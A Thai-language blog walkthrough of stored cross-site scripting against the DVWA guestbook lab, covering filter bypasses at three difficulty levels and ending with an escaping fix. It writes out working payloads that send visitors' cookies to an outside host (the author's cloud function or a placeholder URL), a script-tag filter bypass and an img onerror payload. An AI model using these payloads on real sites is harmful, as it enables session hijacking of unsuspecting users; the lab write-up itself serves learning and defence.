HomeArtTechHackBlockchain
ONLINE ·
Index
/
Hack101
/
Article

Stored Cross Site Scripting (XSS)

Operator
Khomkrid Lerdprasert
Filed
September 01, 2020
Channel
Hack101
Read
~1 min
Stored Cross Site Scripting (XSS)

Stored Cross Site Scripting (XSS)

Stored XSS คือการโจมตีประเภทที่ ผู้โจมตี ส่ง script เข้าไปเก็บไว้บน server เลย หรือไม่ก็หาทางเอาเข้าไปบันทึกไว้ใน database ระบบที่เสี่ยงต่อการเกิด XSS Stored ได้แก่ การทำงานประเภท กระทู้, blog, comment, review หรืออะไรก็ตามที่มีการรับ input เข้ามาจากผู้ใช้งานได้ และเขียน code กรองข้อมูลได้อย่างไม่รัดกุมไม่เพียงพอ

จากตัวอย่างจาก web application ของ dvwa ที่เราจะทดสอบในหัวข้อนี้ เป็นระบบ guest book ที่เปิดให้ผู้ใช้งานมา comment ไว้ได้ ดังรูป

Stored Cross Site Scripting (XSS)
Stored Cross Site Scripting (XSS)

เราจะลองส่ง tag html ของเราจาก lab ที่แล้วเข้าไปทำ XSS ดูว่าจะเป็นยังไง

<a href="#" onclick="const url=`https://aofiee.dev/functions/xssFunction?cookie=`;document.location=`${url}${document.cookie}`;">download</a>

Stored Cross Site Scripting (XSS)
Stored Cross Site Scripting (XSS)

ผลก็คือ ในช่อง textarea นั้น มีการจำกัดจำนวน maxlength ไว้ ทำให้ไม่สามารถ insert html code ยาวๆได้

ดังนั้นเราจะลองมา inspect เพื่อทำการแก้ไข code ฝั่ง client กันดูครับว่าจะได้หรือเปล่า

Stored Cross Site Scripting (XSS)
Stored Cross Site Scripting (XSS)

โดยผมจะทำการแก้ไข maxlength = 1000 ไปเลย

<textarea name="mtxMessage" cols="50" rows="3" maxlength="1000"></textarea>

หลังจากแก้ไขแล้วจะพบว่าเราสามารถ insert code html ยาวๆได้แล้ว

Stored Cross Site Scripting (XSS)
Stored Cross Site Scripting (XSS)

หลังจากที่เรา submit ไปแล้ว ระบบ guest book ก็จะนำข้อมูล html ที่เราทำการ insert ลงไปมาแสดง โดยไม่มีการกรองใดๆทั้งสิ้น

Stored Cross Site Scripting (XSS)
Stored Cross Site Scripting (XSS)

เมื่อผู้ใช้งานหลงมา click ระบบก็จะทำการส่ง cookie กลับไปให้เรายัง line notify เช่นเดิม

ทีนี้การใช้ tag a href ไม่เนียนเท่าไหร่ ผมจึงลองเขียน script cloud functions ขึ้นมาตัวนึง มีหน้าที่อ่านค่าไฟล์รูปภาพจาก firebase storage แล้วให้แสดงออกมาเป็นรูปภาพเมื่อเรียน url นั้นแทน

โดย url จะทำการรับ params cookie จากผู้ใช้งานแล้วส่งกลับมาแทน เมื่อรูปภาพแสดงบนหน้าเว็ป

Stored Cross Site Scripting (XSS)
Stored Cross Site Scripting (XSS)

หลังจากนั้นผม insert ข้อมูลลง guestbook ของ web application ใหม่อีกครั้ง ในรูปแบบ javascript ให้ render image tag ออกมา

<script>document.write(`<img src="https://[url cloud functions]?cookie=${document.cookie}"/>`);</script>

โดยเมื่อ รูปภาพได้แสดงออกมาผ่าน browser ระบบจะทำการขโมยข้อมูล cookie ผู้ใช้งานกลับมาให้อัตโนมัติ โดยผู้ใช้งานไม่รู้เลยว่าโดนขโมยไป

Stored Cross Site Scripting (XSS)
Stored Cross Site Scripting (XSS)

Stored Cross Site Scripting (XSS)
Stored Cross Site Scripting (XSS)

ใน level medium เราจะไม่สามารถส่ง code เดิมเข้าไปในระบบได้อีก เพราะมีการกรอง javascript ไว้ ด้วยการ สั่ง str_replace script ออกให้เป็นค่าว่างเปล่า และยังมีการกัน htmlspecialchars, strip_tags, addslashes ไว้อีกด้วย

<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>

แต่ถ้าดูจาก code ข้างบนแล้ว พบว่า programmer กัน htmlspecialchars, strip_tags, addslashes ไว้แค่ message input เท่านั้น แต่ในส่วนของ name input ชื่อผู้เขียน guestbook ได้แค่ทำการ replace script tag ออก

เราสามารถ insert code เข้าไปได้ด้วยการทำ double tag ลงไป เช่น

<s<script>cript>alert(document.cookie)</script>

จะพบว่าระบบสามารถทำงาน ได้ตามภาพ โดยมี dialog แสดง cookie ขึ้นมาตัวนึง

Stored Cross Site Scripting (XSS)
Stored Cross Site Scripting (XSS)

หลังจากนั้นเราจะลองเขียน javascript ล้วนๆในการสร้าง dom ของรูปภาพขึ้นมาแทน ตาม code ข้างล่าง เพื่อนำไปทำ minify แล้ว insert ลงไปในช่อง input name

Stored Cross Site Scripting (XSS)
Stored Cross Site Scripting (XSS)

document.write(`<div id=hackme></div>`)
var url = `https://[url]/?cookie=${document.cookie}`;
var img = document.createElement(`img`);
img.src = url;
document.getElementById(`hackme`).appendChild(img);

หลังจาก minify แล้วจะได้ประมาณนี้แหล่ะ

<s<script>cript>document.write("<div id=hackme></div>");var url=`https://[url]/?cookie=${document.cookie}`,img=document.createElement("img");img.src=url,document.getElementById("hackme").appendChild(img);</script>

หลังจากที่เรากด submit ไปจะพบว่าาาาา

แม่งโพสไม่ได้ครับ!!

เพราะอะไรน่ะหรือ ก็ dvwa ที่เราใช้ทดสอบ เค้าสร้าง database schema guestbook ใน column name ไว้ให้มี data type เป็น varchar 100 เอง มันเลย บันทึกได้ไม่ครบ

MariaDB [dvwa]> DESCRIBE guestbook;
+------------+----------------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+------------+----------------------+------+-----+---------+----------------+
| comment_id | smallint(5) unsigned | NO | PRI | NULL | auto_increment |
| comment | varchar(300) | YES | | NULL | |
| name | varchar(100) | YES | | NULL | |
+------------+----------------------+------+-----+---------+----------------+

แต่ในที่นี้ ผมจะทดลองแค่ proof ว่า script ที่เราเขียนสามารขโมย cookie ได้จริงหรือไม่ ผมจึงไปทำการแก้ไข table guestbook ซะ

MariaDB [dvwa]> ALTER TABLE guestbook MODIFY COLUMN name text;
Query OK, 1 row affected (0.14 sec)
Records: 1 Duplicates: 0 Warnings: 0
MariaDB [dvwa]> DESCRIBE guestbook;
+------------+----------------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+------------+----------------------+------+-----+---------+----------------+
| comment_id | smallint(5) unsigned | NO | PRI | NULL | auto_increment |
| comment | varchar(300) | YES | | NULL | |
| name | text | YES | | NULL | |
+------------+----------------------+------+-----+---------+----------------+
3 rows in set (0.00 sec)

ทีนี้ลอง insert script ลงไปใหม่ในส่วนของชื่อผู้ใช้งานดู ก็จะได้ผลลัพธ์ดังภาพ

Stored Cross Site Scripting (XSS)
Stored Cross Site Scripting (XSS)

ซึ่งทุกครั้งที่ผู้ใช้งาน login เข้ามาที่ หน้านี้ก็จะเห็นรูปน้องหมา ที่จะแอบส่ง cookie กลับมาให้ผมแบบเนียนๆผ่าน line notify นั่นเอง

หรือไม่ผมก็ต้องเขียน code ในส่วนนี้ให้น้อยกว่า 100 ตัวอักษร ฮาๆๆ

ต่อไปมาดู level high กันบ้าง ในส่วนของ input message ยังเหมือนเดิม แต่ในส่วนของ name มีการใช้ regular expression มาช่วยในการกรอง tag script ออก

<?php
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
?>

เพราะงั้นเราจะต้องหลีกเลี่ยง tag script แล้วมาใช้ html tag อื่นๆแทนที่ไม่ได้กรองไว้ เช่น การใช้ tag img เป็นต้น

<IMG src=1 onerror=alert(document.cookie) />

หรือ

<a href="#" onclick="const url=`https://aofiee.dev/functions/xssFunction?cookie=`;document.location=`${url}${document.cookie}`;">download</a>

วิธีการป้องกันตรงนี้ก็คือ เราจะต้องทำการกรอง html tag ออกให้หมด ทั้ง message และ name ที่ user ทำการ input เข้ามาในระบบ และใช้ stripslashes ตัด quote ออกจากข้อความที่ ผู้ใช้งานป้อนเข้ามาอีกชั้นนึง ตาม code ตัวอย่างครับ

<?php
$message = stripslashes( $message );
$message = htmlspecialchars( $message );
$name = stripslashes( $name );
$name = htmlspecialchars( $name );
?>

เป็นอันจบสิ้นในเรื่องของ XSS Stored เพียงเท่านี้ครับ

บทความนี้เขียนเพื้อจดบันทึกการเรียนรู้เท่านั้น เจ้าของ blog ไม่ใช่มืออาชีพทางด้านนี้ หากผิดพลาดประการใดสามารถแนะนำกันเข้ามาได้ครับ

◎ Tags

##pentest##kali##hack101##XSS
Khomkrid Lerdprasert
Operator

Khomkrid Lerdprasert

Technical Lead — building AI-powered platforms, omni-channel chat systems, and telemedicine solutions with Go, Next.js & clean architecture. 20+ years shipping software from crypto wallets to e-learning systems. Bangkok-based. Writes code late at night, brews beer on weekends.

GithubInstagram
Previous · transmission
Reflected Cross Site Scripting (XSS)
Next · transmission
Security Header
Metadata
Channel
Hack101
Filed
September 01, 2020
Read
~1 min
Language
TH / EN
Transmit

Related

Aircrack Ng หารหัส wifi ที่บ้าน
Khomkrid Lerdprasert
October 16, 2021
1 min
aofiee.dev
signal / noise / code · craft
© 2019 – 2026, Khomkrid Lerdprasert.
All transmissions logged.
No newsletter. No profiling. Cookies require consent.
PGP · 7F3D 2024 A21E B584 · 0x7F3D
Channels
  • Art & Culture
  • Technology
  • Hack 101
  • Blockchain 101
  • Archive / All posts
— END OF TRANSMISSION —
// powered by curiosity, coffee, & wuxia
BKK · 13°45′N · 100°30′E